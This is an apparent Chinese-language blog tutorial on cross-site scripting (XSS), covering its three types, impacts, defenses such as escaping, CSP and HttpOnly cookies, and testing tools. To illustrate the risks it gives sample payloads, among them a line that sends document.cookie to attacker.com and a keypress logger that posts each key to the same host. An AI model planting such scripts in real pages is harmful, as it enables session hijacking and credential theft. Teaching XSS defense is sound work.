xss漏洞

1. XSS漏洞概述​

​XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

​1.1 XSS漏洞的核心特点​

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

​2. XSS漏洞分类​

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS。

​2.1 反射型XSS(Reflected XSS)​​

  • 特点 :
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程 :
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景 :
    • 搜索框、错误消息、URL参数等未过滤的输入点。

​2.2 存储型XSS(Stored XSS / Persistent XSS)​​

  • 特点 :
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程 :
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景 :
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

​2.3 DOM型XSS(DOM-based XSS)​​

  • 特点 :
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程 :
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景 :
    • 使用location.hash、document.write、innerHTML等动态操作DOM的代码。

​3. XSS攻击的危害​

XSS漏洞可导致多种严重安全问题:

​3.1 窃取用户数据​

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStorage、sessionStorage。

​3.2 会话劫持​

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequest或fetch发送恶意请求。

​3.3 网页篡改​

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

​3.4 键盘记录​

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

​3.5 传播蠕虫​

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

​4. XSS防御措施​

​4.1 输入过滤与转义​

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义 :

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

​4.2 输出编码​

  • 前端框架自动转义 :
    • React:默认转义{userInput}。
    • Vue.js:v-text自动转义,v-html需谨慎使用。

​4.3 使用Content Security Policy (CSP)​​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

​4.4 HttpOnly Cookie​

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

​4.5 避免危险的DOM操作​

  • 避免使用innerHTML、document.write,改用textContent:

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

​5. 测试与检测XSS漏洞​

​5.1 手动测试​

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

​5.2 自动化工具​

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

​6. 总结​

​类型​ ​存储位置​ ​触发方式​ ​防御措施​
​反射型XSS​ URL参数 用户点击恶意链接 输入过滤、输出编码
​存储型XSS​ 数据库 访问受感染页面 严格输入验证、CSP
​DOM型XSS​ 前端JS 动态DOM操作 避免innerHTML、eval
相关推荐
java1234_小锋13 分钟前
【技术专题】HTML5 网页技术 - HTML5 Canvas 基础以及动画入门
前端·html·html5
知了学历孙老师3 小时前
小自考的校考和统考,出题方和难度差在哪
java·大数据·前端
ShineWinsu5 小时前
对于JavaScript:操作元素的解析
开发语言·前端·javascript·面试·web·dom·元素
福兮说6 小时前
JSON 格式正确,数据就可靠吗?我用一份自编配置检查类型与空值
java·前端·json
程序员老赵8 小时前
Docker 部署青龙面板:轻松搭建定时任务管理平台
前端·docker·开源
Swot8 小时前
Asciidoctor 公式数字下标错位问题:原因分析与解决方案
前端
Swot8 小时前
leo-editor 中将 Markdown 内容转成 asciidoc 格式
前端
狒狒AI8 小时前
Remotion / GSAP+Three / HyperFrames / Skia 四栈实测:代码渲染知识视频的选栈方法(附开源技能)
前端·人工智能·aigc
修炼的dance8 小时前
浏览器里导出H.265,8.5秒和55.5秒差在硬件
前端
补码缩写8 小时前
WebCodecs选编码器,探测之后还要验解码和播放
前端